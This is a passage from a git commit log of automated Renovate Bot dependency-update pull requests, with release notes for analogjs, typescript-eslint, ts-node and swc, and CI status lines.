- **vite-plugin-angular:** emit ?analog-{inline,raw} from JIT transform output ([#&#8203;2272](https://github.com/analogjs/analog/issues/2272)) ([48f3ff9](https://github.com/analogjs/analog/commit/48f3ff9c7db10028fd08e95a5153043bf591d5f9))

### [`v2.4.4`](https://github.com/analogjs/analog/releases/tag/v2.4.4)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.3...v2.4.4)

##### Bug Fixes

- **vite-plugin-angular:** handle ?inline style imports in load hook for Vitest ([#&#8203;2271](https://github.com/analogjs/analog/issues/2271)) ([32d5b2d](https://github.com/analogjs/analog/commit/32d5b2ddeea0b7f7e93c32b40f53b184bd12923e))

### [`v2.4.3`](https://github.com/analogjs/analog/releases/tag/v2.4.3)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.2...v2.4.3)

##### Bug Fixes

- **vite-plugin-angular:** bypass Vite 8.0.5+ Denied ID for style ?inline imports ([#&#8203;2264](https://github.com/analogjs/analog/issues/2264)) ([812c011](https://github.com/analogjs/analog/commit/812c011277ad72382def7ff77581b0fa61eec695))

### [`v2.4.2`](https://github.com/analogjs/analog/releases/tag/v2.4.2)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.1...v2.4.2)

##### Bug Fixes

- **vite-plugin-angular:** bypass Vite 7.3.2+ server.fs restrictions for style ?inline imports ([#&#8203;2262](https://github.com/analogjs/analog/issues/2262)) ([7e43cc4](https://github.com/analogjs/analog/commit/7e43cc4281b0a78ebee93bbdd58b64381b5cab2a))

### [`v2.4.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#2410-2026-04-21)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.0...v2.4.1)

##### Bug Fixes

- **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#&#8203;2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355))

### [`v2.4.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#240-2026-03-30)

[Compare Source](https://github.com/analogjs/analog/compare/v2.3.1...v2.4.0)

##### Bug Fixes

- **astro-angular:** style tag ordering for multiple islands ([#&#8203;2210](https://github.com/analogjs/analog/issues/2210)) ([b306097](https://github.com/analogjs/analog/commit/b306097442be5f1f38f7b47762c67c09febec628))
- **astro-angular:** support astro v6 using vite environment api ([#&#8203;2133](https://github.com/analogjs/analog/issues/2133)) ([e9fd9c6](https://github.com/analogjs/analog/commit/e9fd9c6134fa33aa0283bda7efb3c8f54cef15ab))
- **content:** resolve content files by bare slug lookup ([#&#8203;2205](https://github.com/analogjs/analog/issues/2205)) ([7e79d24](https://github.com/analogjs/analog/commit/7e79d24a9cd2a8e70dea5b458db59cd4e5ae31ff))
- **create-analog:** bump to Vitest 4.1, update CI workflow versions ([54b5112](https://github.com/analogjs/analog/commit/54b51125130e897faf787db2b918d5ae16e4802f))
- fix build and unit tests ([dc6842c](https://github.com/analogjs/analog/commit/dc6842cd9ef79cc1274d92b908f25ec80bbca9d3))
- fix vitest build and ci workflows ([a4b129a](https://github.com/analogjs/analog/commit/a4b129a589090043d0b06f6e72bbbc259aa23f9e))
- **nx-plugin:** remove full path to main.ts for Nx projects ([#&#8203;2164](https://github.com/analogjs/analog/issues/2164)) ([39f0d7c](https://github.com/analogjs/analog/commit/39f0d7ce411cf4c59b5b446337affaa818a4e48f))
- **nx-plugin:** restore builders configuration ([1d2e4e8](https://github.com/analogjs/analog/commit/1d2e4e8b115da2fb1b63c67f017f861dac7b2f4c))
- **nx-plugin:** restore schematics configuration ([#&#8203;2167](https://github.com/analogjs/analog/issues/2167)) ([e74fa68](https://github.com/analogjs/analog/commit/e74fa6829c340976403ba46ca933bd72be2dde2d))
- **platform:** allow using custom vite plugins for Angular compilation ([#&#8203;2102](https://github.com/analogjs/analog/issues/2102)) ([8bb4fb4](https://github.com/analogjs/analog/commit/8bb4fb44c4ccb1a0d9c51dcd6fe8c9ab840f0e4e))
- **platform:** separate disabling highlighting from content discovery ([#&#8203;2110](https://github.com/analogjs/analog/issues/2110)) ([618c42c](https://github.com/analogjs/analog/commit/618c42cf7bc859e552cb1a3b02c6092c18e99e21))
- **router:** fix and add unit tests for route module invalidation on file changes ([b9325af](https://github.com/analogjs/analog/commit/b9325af0f0748c7a69610de5782e1fe12461164e))
- **router:** use non-greedy regex for path normalization ([#&#8203;2093](https://github.com/analogjs/analog/issues/2093)) ([fa5dd9b](https://github.com/analogjs/analog/commit/fa5dd9b7e6f9e245f5c6379f2f35ee35c7be75e3))
- update dependencies and package manager versions across projects ([#&#8203;2106](https://github.com/analogjs/analog/issues/2106)) ([429536c](https://github.com/analogjs/analog/commit/429536c7e5f479aa06eb61a3df51cf4223e30e14)), closes [#&#8203;2040](https://github.com/analogjs/analog/issues/2040)
- **vite-plugin-angular:** ensure sequential compilation for client and ssr bundles ([#&#8203;2109](https://github.com/analogjs/analog/issues/2109)) ([008bd1c](https://github.com/analogjs/analog/commit/008bd1c20daa4c16fe92da036e99219056da4ff3))
- **vite-plugin-angular:** hash styleId to prevent filename exceeding max length ([#&#8203;2090](https://github.com/analogjs/analog/issues/2090)) ([2aa2114](https://github.com/analogjs/analog/commit/2aa211479e16cc106f957d5e373ea3a1386abfc6))
- **vite-plugin-angular:** normalize paths across plugin & live reload ([#&#8203;2126](https://github.com/analogjs/analog/issues/2126)) ([cc98bf7](https://github.com/analogjs/analog/commit/cc98bf727b181077c87a536f29d7128414d8904d))
- **vite-plugin-angular:** skip esm transform with Rolldown for Vitest ([#&#8203;2169](https://github.com/analogjs/analog/issues/2169)) ([20c720b](https://github.com/analogjs/analog/commit/20c720bc8178174041002f400ed4d694dabb30c1))
- **vitest-angular:** fix imports for snapshot serializers ([#&#8203;2211](https://github.com/analogjs/analog/issues/2211)) ([8e9f73d](https://github.com/analogjs/analog/commit/8e9f73dfde0e03e0943512dd18f432f20307f3f5))
- **vitest-angular:** support environment providers ([#&#8203;2129](https://github.com/analogjs/analog/issues/2129)) ([a90aa12](https://github.com/analogjs/analog/commit/a90aa1272ed64d626386283ae7b9a09775a07287))

##### Features

- **astro-angular:** add option to move component styles to document head ([#&#8203;2162](https://github.com/analogjs/analog/issues/2162)) ([2361afa](https://github.com/analogjs/analog/commit/2361afaa31247e61483517d321f541c7419bc79b))
- **content:** extract TOC to be property on contentFile ([#&#8203;2091](https://github.com/analogjs/analog/issues/2091)) ([4e870cc](https://github.com/analogjs/analog/commit/4e870cc99e74c889743503522ae4c6f3be5d9247))
- **create-analog:** add snapshot serializers ([3318263](https://github.com/analogjs/analog/commit/33182636a130e4c7b3f213aece7a020cf0981c3e))
- update vite to stable v8.0.0 ([#&#8203;2111](https://github.com/analogjs/analog/issues/2111)) ([cf35c65](https://github.com/analogjs/analog/commit/cf35c658a3966a514e95aa2c0e4c9c514999c4bd))
- **vite-plugin-angular:** working fileReplacements and liveReload for Angular Compilation API ([7adf8c1](https://github.com/analogjs/analog/commit/7adf8c18b7786047dc6156eb6c2eaeff0961e5f4))
- **vitest-angular:** add `teardown.destroyAfterEach` option and deprecate `browserMode` option ([#&#8203;2054](https://github.com/analogjs/analog/issues/2054)) ([2fe2e1c](https://github.com/analogjs/analog/commit/2fe2e1c9304a933b0070fb2e28c8e92def68f077))
- **vitest-angular:** add reusable snapshot serializers ([#&#8203;2163](https://github.com/analogjs/analog/issues/2163)) ([9089c8d](https://github.com/analogjs/analog/commit/9089c8d8f315aad4792d6b37b18db62d951301b2))

### [`v2.3.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#231-beta1-2026-02-27)

[Compare Source](https://github.com/analogjs/analog/compare/v2.3.0...v2.3.1)

##### Bug Fixes

- **vite-plugin-angular:** hash styleId to prevent filename exceeding max length ([#&#8203;2090](https://github.com/analogjs/analog/issues/2090)) ([2aa2114](https://github.com/analogjs/analog/commit/2aa211479e16cc106f957d5e373ea3a1386abfc6))

### [`v2.3.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#230-2026-02-25)

[Compare Source](https://github.com/analogjs/analog/compare/v2.2.3...v2.3.0)

##### Bug Fixes

- add dependsOn to astro-angular build ([1a6182d](https://github.com/analogjs/analog/commit/1a6182d311e6235a6b1d3ae2e6a3dfa37697ee46))
- build before publish ([432ffa6](https://github.com/analogjs/analog/commit/432ffa6a987c679bb7eea45f5c6fa7eb235dc286))
- bump build ([1c61fbc](https://github.com/analogjs/analog/commit/1c61fbc289a079a2ef5e3ce65dce9c7e9f2a7fed))
- publish from workflow ([390dd74](https://github.com/analogjs/analog/commit/390dd747f2d2e341260ac20d57f2b7d4057e371c))
- remove npm token from semantic release ([ba42f16](https://github.com/analogjs/analog/commit/ba42f16842772315e61e7ea29608c9df42504c97))
- remove npm token publishing ([1c490ad](https://github.com/analogjs/analog/commit/1c490ad360733095e56abd9be97f59f81322714a))
- revert back to semantic release ([ea10b1b](https://github.com/analogjs/analog/commit/ea10b1b7caa573ef65b7796ab81796073fc6183b))
- **storybook-angular): revert "fix(storybook-angular:** add missing applyDecorators to render annotaions" ([#&#8203;2088](https://github.com/analogjs/analog/issues/2088)) ([86e2a6a](https://github.com/analogjs/analog/commit/86e2a6a4c30aa7ab2d469bd18db32b0ec7daca44))
- **storybook-angular:** add missing applyDecorators to render annotaions ([#&#8203;2086](https://github.com/analogjs/analog/issues/2086)) ([9a14163](https://github.com/analogjs/analog/commit/9a141638ad674e4b5356ed6a0120f41d8ac90f18))
- **storybook-angular:** add missing await to storybook-angular preset core ([#&#8203;2081](https://github.com/analogjs/analog/issues/2081)) ([352870a](https://github.com/analogjs/analog/commit/352870a86ca8dd08446b8538e04487e64398d0f4))
- **storybook-angular:** resolve experimentalZoneless in Vitest path ([#&#8203;2059](https://github.com/analogjs/analog/issues/2059)) ([447dad2](https://github.com/analogjs/analog/commit/447dad2129f8840bb279d1e1eda6e838bca0d8da))
- update implicit dependencies for build ([cfb0abc](https://github.com/analogjs/analog/commit/cfb0abc5b0be91dc498f443778e5fa1bef95a2c3))
- update node setup in release workflow ([5bd0923](https://github.com/analogjs/analog/commit/5bd0923d965dcea4fda160cdde8aab9b61601a76))
- update node version ([4aaa6bd](https://github.com/analogjs/analog/commit/4aaa6bdb79e1909b1b8671a6cda7312a190e9082))
- **vite-plugin-angular:** add missing tinyglobby dependency ([#&#8203;2069](https://github.com/analogjs/analog/issues/2069)) ([8661cb6](https://github.com/analogjs/analog/commit/8661cb6ab3754c05ed3b38a268570cd92dfd7147))
- **vitest-angular:** add missing zone.js optional peer dependency ([#&#8203;2071](https://github.com/analogjs/analog/issues/2071)) ([88a1a55](https://github.com/analogjs/analog/commit/88a1a55825e715842e28d810894fa86986c1b1e4))
- **vitest-angular:** fix setupTestBed's providers option ([#&#8203;2072](https://github.com/analogjs/analog/issues/2072)) ([2e7a02f](https://github.com/analogjs/analog/commit/2e7a02f4f541b8c5a02a0f5e9f7f0b7ad354f087))

##### Features

- **router:** support optional catch all routes ([#&#8203;2043](https://github.com/analogjs/analog/issues/2043)) ([ba9fc09](https://github.com/analogjs/analog/commit/ba9fc09fdd293d338299d949cadbfdc8137677e8))
- **vite-plugin-nitro:** add option for markdown source output alongside prerendered routes ([#&#8203;2082](https://github.com/analogjs/analog/issues/2082)) ([c15d20b](https://github.com/analogjs/analog/commit/c15d20b9887008fda7714437280dbfc1bb66b336))
- **vitest-angular:** add setup schematic and ng-add support ([#&#8203;2056](https://github.com/analogjs/analog/issues/2056)) ([cc26771](https://github.com/analogjs/analog/commit/cc26771aa72cb2a38c2fb7ca070840eccf1e7951))

### [`v2.2.3`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#223-2026-01-29)

[Compare Source](https://github.com/analogjs/analog/compare/v2.2.2...v2.2.3)

##### Bug Fixes

- **content:** allow retrieving content file resource by slug ([#&#8203;2051](https://github.com/analogjs/analog/issues/2051)) ([5ac1013](https://github.com/analogjs/analog/commit/5ac101396c73856e52a1fb888c55eacd54abd62a))
- **content:** export content loader tokens for custom content list/file ([#&#8203;2050](https://github.com/analogjs/analog/issues/2050)) ([e45f189](https://github.com/analogjs/analog/commit/e45f1894cb8ba204481df7bd1d17d133639370c4))
- **vite-plugin-nitro:** trigger environment builds before server build ([#&#8203;2048](https://github.com/analogjs/analog/issues/2048)) ([3dd3755](https://github.com/analogjs/analog/commit/3dd375532d4f830ab5e04e970b4c1f869f99abcc))

### [`v2.2.2`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#222-2026-01-14)

[Compare Source](https://github.com/analogjs/analog/compare/v2.2.1...v2.2.2)

##### Bug Fixes

- **storybook-angular:** use vite config root when angularBuilderContext unavailable ([#&#8203;2033](https://github.com/analogjs/analog/issues/2033)) ([76cfb94](https://github.com/analogjs/analog/commit/76cfb948c2571bf21522d185d4dc43fa4e4c121e))

### [`v2.2.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#221-2026-01-05)

[Compare Source](https://github.com/analogjs/analog/compare/v2.2.0...v2.2.1)

##### Bug Fixes

- **nx-plugin:** add [@&#8203;nx/vite](https://github.com/nx/vite) for Nx workspaces ([08ba372](https://github.com/analogjs/analog/commit/08ba372257044890aa2f90bff8898c293b15dba5))
- **nx-plugin:** add [@&#8203;nx/vite](https://github.com/nx/vite) to preset packages ([0aca507](https://github.com/analogjs/analog/commit/0aca507648fb28e1d77a2902ab10299856270e11))
- **nx-plugin:** skip installing Vitest packages when skipped during migration ([#&#8203;2017](https://github.com/analogjs/analog/issues/2017)) ([a573684](https://github.com/analogjs/analog/commit/a57368484ca8632f325d966964dae07055e43dcb))
- **storybook-angular:** resolve relative styles from project root ([#&#8203;2025](https://github.com/analogjs/analog/issues/2025)) ([33e7b6c](https://github.com/analogjs/analog/commit/33e7b6cf19a51b49774b7405cec1abed494d46f7))
- **vite-plugin-angular:** improve compatibility with older TypeScript versions ([#&#8203;2021](https://github.com/analogjs/analog/issues/2021)) ([aab2f2a](https://github.com/analogjs/analog/commit/aab2f2a4e7297bc1c86b7f185efe204c4592a828))
- **vite-plugin-angular:** process styles in jit mode instead of returning raw output ([#&#8203;2024](https://github.com/analogjs/analog/issues/2024)) ([bcb6da9](https://github.com/analogjs/analog/commit/bcb6da9f6d112fe174e90a390235eb5adf14982e))
- **vitest-angular:** ensure setupTestBed defaults merge ([#&#8203;2019](https://github.com/analogjs/analog/issues/2019)) ([f36339f](https://github.com/analogjs/analog/commit/f36339ff9835b04f6137b1a235ec2f35157293d7))

### [`v2.2.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#220-2025-12-16)

[Compare Source](https://github.com/analogjs/analog/compare/v2.1.3...v2.2.0)

##### Bug Fixes

- **create-analog:** remove angular-devkit/build-angular from devDependencies ([ada2ecc](https://github.com/analogjs/analog/commit/ada2ecc7fddf8247472b30439d15ba014eb4df30))
- **nx-plugin:** adjust Vitest version for Angular v20 ([c4b2ea7](https://github.com/analogjs/analog/commit/c4b2ea77c757ebd1aa6c17ff5e3aaab96d239fb3))
- **nx-plugin:** pass Nx version for package version detection ([42a9630](https://github.com/analogjs/analog/commit/42a963025bd31cc6279e9d135d7cd7cce894e00c))
- **storybook-angular:** creates config.plugin array when undefined ([#&#8203;1998](https://github.com/analogjs/analog/issues/1998)) ([0dd147c](https://github.com/analogjs/analog/commit/0dd147c4f764dbaa2c82a04e887b3ecad91d1e1a))
- support canary Nx releases ([664b1a2](https://github.com/analogjs/analog/commit/664b1a27d86acbc53c71d4ab2fedbf0e1a12040f))
- **vitest-angular:** reset TestBed between tests ([6f704b0](https://github.com/analogjs/analog/commit/6f704b0146303f6804ca0be1e4af959b1b70e0e4)), closes [#&#8203;1994](https://github.com/analogjs/analog/issues/1994)

##### Features

- add itemprop meta tag support to MetaTag types ([543b351](https://github.com/analogjs/analog/commit/543b35196da5f07676c2e065a6d6a108b846638c))
- add itemprop meta tag support to parent and child meta tag values ([830a50f](https://github.com/analogjs/analog/commit/830a50fe72dc3a58eddb6431581fe2169f99a36e))
- add support for Vite 8.x releases ([#&#8203;1989](https://github.com/analogjs/analog/issues/1989)) ([fd4031e](https://github.com/analogjs/analog/commit/fd4031e49efb4f12e9cb874055c0cfb4ef012fb9))
- **storybook-angular:** allows setting tsconfig via framework options ([#&#8203;1999](https://github.com/analogjs/analog/issues/1999)) ([cbd358d](https://github.com/analogjs/analog/commit/cbd358dd7c28d5f9c1212c428af77f44a2bd5498))
- **vite-plugin-angular:** improve dev/build performance with caches and plugin optimizations ([#&#8203;1987](https://github.com/analogjs/analog/issues/1987)) ([47ed20f](https://github.com/analogjs/analog/commit/47ed20f17bd42502c6d9845361a61556f7fdd2ae))
- **vitest-angular:** added support for browser mode preview ([#&#8203;2012](https://github.com/analogjs/analog/issues/2012)) ([dc27af2](https://github.com/analogjs/analog/commit/dc27af22c5f251d2bb583476fcb953c7fe9cc5e4))

##### Performance Improvements

- **vite-plugin-angular:** apply transform filter to plugins ([#&#8203;2011](https://github.com/analogjs/analog/issues/2011)) ([0bfe92d](https://github.com/analogjs/analog/commit/0bfe92d4ec2a5422b9decec09c54f045fac8c135))
- **vite-plugin-angular:** pass modified files for incremental compilation ([#&#8203;2010](https://github.com/analogjs/analog/issues/2010)) ([7cb7970](https://github.com/analogjs/analog/commit/7cb797067f2df37b7f884cac6f6b211e88d2e662))
- **vite-plugin-angular:** re-use builder between compilations ([#&#8203;1990](https://github.com/analogjs/analog/issues/1990)) ([e4ae778](https://github.com/analogjs/analog/commit/e4ae7787ece34443d6cbe8b77050ea94447a97e0))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/21
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 16:44:55 +02:00
APF Portal Bot c8c8eafde1 chore(deps): update typescript tooling (#20)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m54s
CI / scan (push) Failing after 3m0s
CI / a11y (push) Successful in 2m20s
CI / perf (push) Successful in 3m36s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | patch | [`8.59.1` -> `8.59.2`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.1/8.59.2) |
| [ts-node](https://typestrong.org/ts-node) ([source](https://github.com/TypeStrong/ts-node)) | devDependencies | patch | [`10.9.1` -> `10.9.2`](https://renovatebot.com/diffs/npm/ts-node/10.9.1/10.9.2) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | patch | [`8.59.1` -> `8.59.2`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.1/8.59.2) |

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint (@&#8203;typescript-eslint/utils)</summary>

### [`v8.59.2`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8592-2026-05-04)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.1...v8.59.2)

This was a version bump only for utils to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.2) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>TypeStrong/ts-node (ts-node)</summary>

### [`v10.9.2`](https://github.com/TypeStrong/ts-node/releases/tag/v10.9.2): Fix `tsconfig.json` file not found

[Compare Source](https://github.com/TypeStrong/ts-node/compare/v10.9.1...v10.9.2)

**Fixed**

- Fixed `tsconfig.json` file not found on latest TypeScript version (https://github.com/TypeStrong/ts-node/pull/2091)

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.59.2`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8592-2026-05-04)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.1...v8.59.2)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.2) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #20
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 16:29:09 +02:00
APF Portal Bot 403b0750d6 chore(deps): update swc (#19)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m58s
CI / check (push) Successful in 2m21s
CI / a11y (push) Successful in 57s
CI / perf (push) Successful in 3m1s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@swc/core](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/core)) | devDependencies | patch | [`1.15.8` -> `1.15.33`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.15.8/1.15.33) |
| [@swc/helpers](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/helpers)) | devDependencies | patch | [`0.5.18` -> `0.5.21`](https://renovatebot.com/diffs/npm/@swc%2fhelpers/0.5.18/0.5.21) |

---

### Release Notes

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.15.33`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11533---2026-05-02)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.32...v1.15.33)

##### Bug Fixes

- **(ci)** Update rand lockfile entries ([#&#8203;11827](https://github.com/swc-project/swc/issues/11827)) ([7988966](https://github.com/swc-project/swc/commit/7988966eb33d2404fe588ec50345100ea57a3cf4))

- **(es/minifier)** Fold unary bool nullish coalescing ([#&#8203;11826](https://github.com/swc-project/swc/issues/11826)) ([e39ae3d](https://github.com/swc-project/swc/commit/e39ae3d3489373414ef23177b82f0ab77250a1f2))

- **(es/minifier)** Preserve for-init sequence order ([#&#8203;11837](https://github.com/swc-project/swc/issues/11837)) ([16a56d0](https://github.com/swc-project/swc/commit/16a56d031fd801796df6b648bc533b97e27b39f8))

- **(es/parser)** Parse empty Flow exact object type ([#&#8203;11836](https://github.com/swc-project/swc/issues/11836)) ([3d18a26](https://github.com/swc-project/swc/commit/3d18a2673a69e6e6172c161815fd576c41d59330))

##### Features

- Move swc ast explorer into workspace ([#&#8203;11831](https://github.com/swc-project/swc/issues/11831)) ([02a8f81](https://github.com/swc-project/swc/commit/02a8f8123bdec3e8291a2f82ccf01d3e44114c49))

### [`v1.15.32`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11532---2026-04-27)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.30...v1.15.32)

##### Bug Fixes

- **(es/flow)** Fix Flow type-only modules in script transforms ([#&#8203;11817](https://github.com/swc-project/swc/issues/11817)) ([be38316](https://github.com/swc-project/swc/commit/be38316f9a7242f2d3765503216b9c3116021b1c))

- **(es/flow)** Avoid restoring module context when flow syntax is enabled ([#&#8203;11819](https://github.com/swc-project/swc/issues/11819)) ([3ed7243](https://github.com/swc-project/swc/commit/3ed724389a55847f5e236421c23f2cd85a7208b3))

- **(es/minifier)** Preserve frozen spread registry keys ([#&#8203;11825](https://github.com/swc-project/swc/issues/11825)) ([347181c](https://github.com/swc-project/swc/commit/347181c45717431a64cb60e0d6ccbe667322a809))

- **(es/parser)** Align Flow generic arrow JSX disambiguation ([#&#8203;11821](https://github.com/swc-project/swc/issues/11821)) ([28a7fad](https://github.com/swc-project/swc/commit/28a7fadc2acf95500d934988617b73f0debf5a53))

##### Features

- **(es)** Add `jsc.preserveSymlinks` to `swc::Options` ([#&#8203;11813](https://github.com/swc-project/swc/issues/11813)) ([fe38342](https://github.com/swc-project/swc/commit/fe38342b8fa960b430300f2491a5695c09debf4c))

### [`v1.15.30`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11530---2026-04-19)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.26...v1.15.30)

##### Bug Fixes

- **(deploy)** Fix musl binding test workflow ([#&#8203;11804](https://github.com/swc-project/swc/issues/11804)) ([c30a522](https://github.com/swc-project/swc/commit/c30a5226920311a26f2b9692d057a50b18266d30))

- **(deploy)** Build package ts before Linux GNU binding tests ([#&#8203;11806](https://github.com/swc-project/swc/issues/11806)) ([a3d3ef3](https://github.com/swc-project/swc/commit/a3d3ef3924a80e19101a9735bf357ac14cd68fbc))

- **(es/jsx)** Preserve quoted JSX attribute newlines ([#&#8203;11796](https://github.com/swc-project/swc/issues/11796)) ([9fe56c8](https://github.com/swc-project/swc/commit/9fe56c88553bb79254a7a5e991bfedc5f6c689e1))

- **(es/minifier)** Support full ES version parsing in minify ([#&#8203;11800](https://github.com/swc-project/swc/issues/11800)) ([af1f08f](https://github.com/swc-project/swc/commit/af1f08f09e749392815f0449ffac2bdd62a5b0e3))

- **(es/module)** Add opt-in symlink-preserving resolver ([#&#8203;11801](https://github.com/swc-project/swc/issues/11801)) ([6028240](https://github.com/swc-project/swc/commit/6028240017608aac8d80d2c1ff37cf9f13534af6))

- **(es/parser)** Allow return type annotation on Flow constructors ([#&#8203;11790](https://github.com/swc-project/swc/issues/11790)) ([d66b29c](https://github.com/swc-project/swc/commit/d66b29c11d7e9709906e7c6ba6a98fcde428ca65))

- **(es/parser)** Support Flow anonymous keyof indexers ([#&#8203;11792](https://github.com/swc-project/swc/issues/11792)) ([452c4e5](https://github.com/swc-project/swc/commit/452c4e59e6230e36ab2ef19608d214b72d3baf72))

- **(es/parser)** Add Flow strip RN and RNW regression corpus ([#&#8203;11799](https://github.com/swc-project/swc/issues/11799)) ([23a9109](https://github.com/swc-project/swc/commit/23a9109396dc1fcd496e2fbf90552fce0d5ca55b))

##### Documentation

- Require PR template for pull requests ([#&#8203;11793](https://github.com/swc-project/swc/issues/11793)) ([3a1084a](https://github.com/swc-project/swc/commit/3a1084ad1860afdbea2703f13030c3baaaf778db))

##### Features

- **(es/minify)** Support extracting comments ([#&#8203;11798](https://github.com/swc-project/swc/issues/11798)) ([5986411](https://github.com/swc-project/swc/commit/5986411655d7b9e3a1d4e401de9fbda94164c0a3))

### [`v1.15.26`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11526---2026-04-14)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.24...v1.15.26)

##### Bug Fixes

- **(es/decorators)** Preserve super in moved static members ([#&#8203;11781](https://github.com/swc-project/swc/issues/11781)) ([778328e](https://github.com/swc-project/swc/commit/778328e5b40232b311e33e0dede4f1f53e523c4a))

- **(es/decorators)** Scope moved static super rewrite ([#&#8203;11782](https://github.com/swc-project/swc/issues/11782)) ([f73cacc](https://github.com/swc-project/swc/commit/f73cacca16c628cf59820eddb6594fd08f124d6d))

- **(es/parser)** Parse mixed Flow anonymous callable params ([#&#8203;11786](https://github.com/swc-project/swc/issues/11786)) ([05e7b69](https://github.com/swc-project/swc/commit/05e7b69373d3b1e4957f557cb3d640b59998d8a7))

- **(es/transforms)** Rewrite class references in non-static members ([#&#8203;11772](https://github.com/swc-project/swc/issues/11772)) ([fff1426](https://github.com/swc-project/swc/commit/fff1426c86cd47d0d879c5e7c4f029c4adb132e7))

- **(es/typescript)** Handle TypeScript expressions in enum transformation ([#&#8203;11769](https://github.com/swc-project/swc/issues/11769)) ([85aa4a8](https://github.com/swc-project/swc/commit/85aa4a8b95f08d97df47d11f5c2fd11f7db97381))

##### Documentation

- Document Flow strip support ([#&#8203;11778](https://github.com/swc-project/swc/issues/11778)) ([8f176cc](https://github.com/swc-project/swc/commit/8f176cc907093bc80c6792744ea215b69ff62efb))

##### Features

